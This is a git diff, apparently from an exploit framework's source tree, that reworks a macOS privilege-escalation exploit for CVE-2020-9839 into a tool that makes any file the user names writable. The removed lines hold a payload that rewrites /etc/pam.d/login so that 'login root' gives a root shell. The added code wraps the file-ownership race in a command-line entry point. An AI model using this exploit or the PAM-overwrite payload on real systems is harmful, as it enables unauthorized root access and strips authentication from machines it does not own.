diff --git a/external/source/exploits/CVE-2020-9839/Makefile b/external/source/exploits/CVE-2020-9839/Makefile
index 56eba91c5e..f208e5d2c2 100644
--- a/external/source/exploits/CVE-2020-9839/Makefile
+++ b/external/source/exploits/CVE-2020-9839/Makefile
@@ -2,7 +2,7 @@ TARGET := exploit
 
 all: $(TARGET)
 
-$(TARGET): main.c getroot.m
+$(TARGET): exploit.m
 	$(CC) -o $@ $^
 
 clean:
diff --git a/external/source/exploits/CVE-2020-9839/getroot.m b/external/source/exploits/CVE-2020-9839/exploit.m
similarity index 72%
rename from external/source/exploits/CVE-2020-9839/getroot.m
rename to external/source/exploits/CVE-2020-9839/exploit.m
index 74fe0d7be9..ec00789f87 100644
--- a/external/source/exploits/CVE-2020-9839/getroot.m
+++ b/external/source/exploits/CVE-2020-9839/exploit.m
@@ -9,8 +9,7 @@
 #include <xpc/xpc.h>
 #include <pthread.h>
 
-// chown(TARGET, USER, group(USER))
-#define TARGET "/etc/pam.d/login"
+char *TARGET;
 char *WRITABLE;
 char *USER;
 
@@ -68,30 +67,14 @@ void exploit() {
 }
 
 void *pwn(void *arg) {
-#define QUOTE(x) #x
-
-	const char* literal =
-"auth       optional       pam_permit.so\n"
-"auth       optional       pam_permit.so\n"
-"auth       optional       pam_permit.so\n"
-"auth       required       pam_permit.so\n"
-"account    required       pam_permit.so\n"
-"account    required       pam_permit.so\n"
-"password   required       pam_permit.so\n"
-"session    required       pam_permit.so\n"
-"session    required       pam_permit.so\n"
-"session    optional       pam_permit.so\n";
-
 	while(1) {
-		int fd = open("/etc/pam.d/login", O_CREAT|O_WRONLY|O_TRUNC, 0777);
-		if(fd != -1) {
-			write(fd, literal, strlen(literal));
-			close(fd);
-			puts("pwned! now 'login root' will give you a root shell");
+		int testaccess = access(TARGET, W_OK);
+		if(!testaccess) {
+			printf("pwned! %s is now writable!\n", TARGET);
 			pwned = true;
 			break;
 		} else {
-			perror("open");
+			perror("access");
 		}
 		usleep(1000000);
 	}
@@ -109,7 +92,7 @@ connection_handler(xpc_connection_t peer)
 	xpc_connection_resume(peer);
 }
 
-void getroot() {
+void make_writable(char * target) {
 	struct passwd *pw = getpwuid(getuid());
 	if(!pw) {
 		perror("getpwuid");
@@ -118,8 +101,7 @@ void getroot() {
 
 	WRITABLE = pw->pw_dir;
 	USER = pw->pw_name;
-
-	printf("User: %s Writable: %s.\n", USER, WRITABLE);
+	TARGET = target;
 
 	setvbuf(stdout, 0, 2, 0);
 	chdir(WRITABLE);
@@ -135,3 +117,13 @@ void getroot() {
 	rmdir("!");
 	unlink("!");
 }
+
+int main(int argc, char *argv[]) {
+	if (argc < 2) {
+		printf("Usage: %s /file/to/make/writable\n", argv[0]);
+		return -1;
+	}
+	make_writable(argv[1]);
+	return 0;
+}
+
diff --git a/external/source/exploits/CVE-2020-9839/main.c b/external/source/exploits/CVE-2020-9839/main.c
deleted file mode 100644
index e7dcd2829b..0000000000
--- a/external/source/exploits/CVE-2020-9839/main.c
+++ /dev/null
@@ -1,11 +0,0 @@
-#include <fcntl.h>
-#include <string.h>
-#include <unistd.h>
-#include <stdlib.h>
-
-void getroot();
-
-int main() {
-	getroot();
-	return 0;
-}